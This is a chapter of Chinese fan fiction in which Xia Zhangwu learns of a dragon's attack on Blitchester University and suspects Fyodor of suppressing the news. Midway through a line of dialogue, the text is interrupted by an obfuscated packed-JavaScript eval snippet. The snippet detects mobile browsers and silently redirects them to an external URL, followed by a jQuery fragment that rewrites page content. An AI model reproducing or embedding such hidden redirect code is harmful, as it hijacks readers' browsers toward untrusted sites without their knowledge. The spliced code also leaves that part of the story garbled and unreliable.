题外话,如果我是学生可能是悲喜交加的,喜的是学校被烧啦!担心的是好多的毕业材料还好吗?不过学校被烧了可以提前放假吗?」 什么叫学校烧了? 什么叫卡夫卡出事了? 什么叫那条傻蛇也是龙……哦,这个他在闲着没事的时候倒是猜过。 夏章雾皱起眉,快速地翻动着纸页,最后在一个还算详细的评论上停了下来。 「玧末: 简单来说,那条龙找到卡夫卡和蛇那边了,大一一场面哦?学校好像炸成灰了,开心吗?龙想逼迫你现身,卡夫卡和蛇暂时活下来了,但他并不打算打扰干涉你,不过你有我们通风报信,速度要加快了哦……」 后面还有些零零散散的猜测,但已经不是那么重要了。 夏章雾把笔记本合上,手指按着眉心,有些疲惫地闭上了眼睛。 冷静,首先要冷静。卡夫卡没事,有他的异能在,他绝对不会有事,玧末也这么说了。 卡夫卡,布利切斯特,还有龙的目的…… 读者们所说的信息太多,他需要好好梳理和消化一下。其中最重要的地方就是,既然今天早上发生了这么多的事,为什么没有人通知他? “卡夫卡没有给我发任何消息。他确实会这么干。” 夏章雾尽可能冷静地自言自语,他都能猜出来对方到底是怎么想的:“既然那条龙都表示出想要用人命来逼我出现的意图了,那他肯定会尽可能地把这类消息压下来,不想让我受到这方面的影响。” 但就算如此,他也应该收到其他信息的。 夏章雾重新睁开眼睛,拿出手机,凝重地搜索起了最近的新闻。 没有任何关于龙的消息,虽然还有每天都会有的各种□□,但里面的内容却也没有和龙产生关联。然后他又登上了网络论坛,发现里面也没有任何涉及到龙或者“勒托”的帖子。 网友们都在聊着日常琐事,显示出一副风平浪静的模样,甚至就连一点点“希望某个人能出来结束这种灾难局面”的暗示都看不到。 这不对劲,很不对劲。 那条龙既然表露出了这样的态度,那么它肯定还会引发各种灾难,来让舆论爆发和激化。但现在看来,场景就像龙放完狠话后就去睡了觉。人类社会依旧平稳运行,没受到任何影响。 他又搜了搜关于布利切斯特大学的消息。有新闻,但上面只说是一次普通的火灾。然后他又把“火”作为关键词开始搜寻。 异样的地方终于出现了。 今天早上出现的火灾新闻比平时要高,而且论坛上也出现了好几个“附近突然烧起来了”的话题,只是没有继续发酵。 与龙有关的信息被压下来了…… 夏章雾微微皱眉。不知道为什么,他的第一反应就是想到了那个喜欢抱着笔记本电脑敲敲打打的俄罗斯人。 然后他就开始查看手机上的信息。对方今天上午六点时的短信内容依旧是惯例的表示对方打算前来拜访的短信,措辞显得相当礼貌。如果这个短信不是每天一发,可能还会显得更加礼貌一些。 “嗯嗯,大叔是在看短信吗?” 太宰治的声音响起。 一颗毛茸茸的脑袋从他肩膀后面窜出来,鸢色的大眼睛好奇地看着他的手机页面:“这个‘非常不想见但必须存在于通讯录里的西伯利亚仓鼠先生’是谁?该不会是费奥多尔先生吧?” 夏章雾:“……” 被说出了自己通讯录备注的夏先生面无表情地用拳头砸了下太宰治的脑袋,成功地把面前的幼崽从无恶不作熊孩子手动切换成了气鼓鼓栗子河豚的形态。 “大叔好过分!我只不过是把大叔写在手机里的内容念出来了而已!” 栗子河豚气乎乎地把自己拿来的早餐放在桌子上,“啪嗒”一下坐在椅子上面,大声地谴责着成年人的恶行:“看了那个页面那么久,大叔明明就是特别在意费奥多尔先生今天为什么没有给你发消息吧!” 夏章雾对此的回应非常朴实无华——他又敲了一下太宰治的脑袋。 “你才十二岁,别整天想那么多稀奇古怪的东西。”他说,“我找他是正事。” 或许是因为大人此刻的语气太认真了,一点都没有平时开玩笑的意思,太宰治只是扭头哼哼唧唧了几句,也没有多发表什么言论。 和太宰治一起走过来的坂口安吾有些担忧地抬起头看着夏章雾。 “是龙的事情吗?”他问。 夏章雾“嗯”了声。在短暂地犹豫了片刻后,他还是把昨天晚上布利切斯特大学发生的事情告诉了这群孩子。 “龙在昨晚有过行动。它去了布利切斯特大学,并且在那里和其他地方都进行了袭击,想要通过舆论来让我出现。” 他用尽可能冷静的语气说:“但现在网络上一点消息都没有,它的目标没有达成,肯定有人在压制信息的流通。” “布利切斯特大学遭到了袭击?” 坂口安吾愣了一下,抬头连忙询问道:“有人员伤亡吗?具体情况怎么样?” 虽然人类学专业的那群学长学姐们很麻烦,学术水平很差劲,而且脑子里也总是在打他异能使用权的主意,还喜欢怂恿他用异能去看勒托先生的秘密。但这么久相处下来,他们也确确实实是在照顾自己。 现在听到这个消息,他的第一反应就是那群“笨蛋学生”的安危。 夏章雾摇了摇头,让面前的孩子放心:“运气很好。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15713670|164449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 龙是在夜里袭击的,火焰也没有烧到宿舍楼,所以没有人员伤亡。” 坂口安吾明显松了一大口气。 “所以大叔你觉得是费奥多尔先生做的?” 太宰治揉了揉脑袋,表情也认真起来:“但是最有可能这么做的明明是钟塔侍从的人吧,为什么大叔第一个想到的是费奥多尔先生,听上去有点太奇……” 夏章雾默默握住拳头,呈攻击表示状。 太宰治瞬间善解人意地闭上了嘴。 就算是他,也不想一天就被打两次脑袋。毕竟夏教授打小孩还是很疼的,而且总是这么频繁地被敲总感觉会被打成笨蛋。 “其实也没有什么特别的原因。” 看到未成年人终于学会了什么叫沉默,夏章雾这才收回了拳头,简单地解释了一句:“只是觉得他会这么做而已。” 但非要说的话,大概是因为昨天那个家伙才说过类似的、不希望他因为舆论的压力而去屠龙的话吧。至少他当时表情确实挺认真的。 “所以,我们现在要去干什么?” 坂口安吾把沾着酸奶酪的面包放在嘴里,然后询问面前的大人。 做什么? 此时最应该的答案就是等钟塔侍从说出对那条龙的试探有什么效果,然后继续商讨该怎么解决这条龙,至少是暂时解决这条龙。 不管是卡夫卡还是把消息压下来的人,都不希望他因为舆论的裹挟而做出不理智的事情。他需要保持冷静,分析出能够杀死这条龙的到底是什么东西,未来的他到底是如何做到仅凭一把破破烂烂的刀就杀死龙的。 等待对他们来说具有优势。那条龙做出的行动越多,透露出的情报也越多,他就能结合读者们给出的信息做出更正确的选择。 但是…… 夏章雾看着自己的手机。 他退出短信界面,操纵手机浏览着网络论坛的消息,点开那些火灾后的照片。他的目光没有在描述性的文字上停留,也没有在于别人对此的评论,只是在尽可能多地浏览这些“不太自然”的火灾消息。 这只是一小部分,夏章雾。 似乎有个声音在他的耳边轻声地说。 夏章雾沉默地看着手机,几乎有那么一瞬间觉得是作者在说话。但没有,作者只是在他的耳边发出那种似乎有些得意的笑声,似乎已经看到了故事应有的结局。 说话的声音来自他自己。 它说—— 你可以不在意它们,至少此时你可以冷静地略过所有发生的事情。但你知道,它们的数量会随着时间越来越多。你知道,你每思考和犹豫的每一秒都有代价,而这份代价就是由它们支付。 它说—— 所有人都可以骗你无事发生。但只有你自己没有办法欺骗自己,你知道龙只要不被杀死或者阻止,就会有更多的人受伤乃至死去。 它说—— 你的时间是有限的,夏章雾。 你时间的多寡取决于你到底能承担多少人的悲剧,取决于你能忍受这种感觉多长时间。而你打算用这份时间做些什么? 夏章雾短暂地闭上眼睛,但又很快睁开。 “哎呀。”他轻轻地笑起来,“这说的内容可比之前那个没用的八音盒要有用多了。” 他把自己最后的那点早餐解决完,看了眼手机时间后站起身。 “我要去钟塔侍从。”他说,“他们知道那条龙现在所处的位置。你们留在这里。” “我们不去吗?”坂口安吾担心地问。 “小孩子去也没什么用,这次你们的异能力也派不上用场。”夏章雾拒绝得相当坚定,“不过放心好了,我很快就会回来。帮我看好太宰,织田作。” 而织田作之助停下动作,“嗯”了声。 他之前头都没有抬,一直在解决自己面前的咖喱饭。这种大早上都要坚持吃辣咖喱的行为简直能让所有路过的人都心生敬意。此刻他也停止了往碗里加致死量咖喱的动作,直接站起,顺便拽住了还想偷溜走的太宰治。 “织田作!” 太宰治看热闹的计划瞬间败露,于是大声地开始为自己的行为寻找名义:“我只是非常担心大叔啦!他现在的举动超危险的!” “我刚刚看到这个自助餐厅的深处有摆着帝王蟹了。”织田作之助认真地说。 “等等,我突然也没有那么担心大叔了。”太宰治眼睛一亮,直接端着空盘子就往餐厅里面跑了过去,“果然还是帝王蟹更值得关心!” 夏章雾看着这一幕,无奈地摇了下头。 然后他走出这个自助餐厅。 阿加莎·克里斯蒂就在门口。 这位骑士长的脸上有着不太明显的黑眼圈,看上去是回去后同样没有睡个好觉。看到他后,她主动上前迈了一步。 “冷兵器也没有效果。如果你过去真的杀死了那条龙,那肯定是你或者你使用的武器存在着什么特殊。” 她上来就简单地说出了实验的结果,然后看向夏章雾,露出坚定的表情。 “如果你现在是来问我要那条龙现在所处位置,那么我不会告诉你。”她说,“女王陛下和我说了,如果你没有找到杀死龙需要的方法,那么她绝对不会让你去见那条龙。” 夏章雾平静地点了点头。 “是的。”他说,“所以杀死龙的方法,我现在已经找到了。” ——作者似乎叹了一口气。 阿加莎皱着眉,不太相信地看着他。而夏章雾也平静地回视过去。在这样僵持了几秒后,她最终还是叹了口气,后退一步,摆出“我就知道你肯定会这么回答”的表情。 “那就和我去见陛下吧。” 她说:“她就知道你肯定会这么回答,所以在此之前,她还有些事情要告诉你。还有……费奥多尔先生也在这里。” 他也在? 表情一直都很平淡的夏章雾这下终于露出了诧异的神色,挑了下眉,随后往前走了几步,果然在洒落着阳光的走廊里看到了对方。 在伦敦难得的阳光下,对方坐在走廊的椅子上,正一只手托着笔记本电脑,单手在键盘上敲着符号。在他看过去的同时,那对酒红色的眼睛便抬了起来,回以了同样的注视。 在短暂的沉默后,是夏章雾先开了口。 “早上好。”他笑起来,“我还以为你会待在房间里删帖子和视频呢。” “早上好,勒托先生。反正这种工作在哪里做都一样,而且我也不指望能瞒住您。” 俄罗斯人合上电脑,弯起眼睛,用他惯用的平缓且带着笑意的语气说道:“而且看起来您已经做出了最终的选择。” “——所以接下来的路程,要一起出发吗?”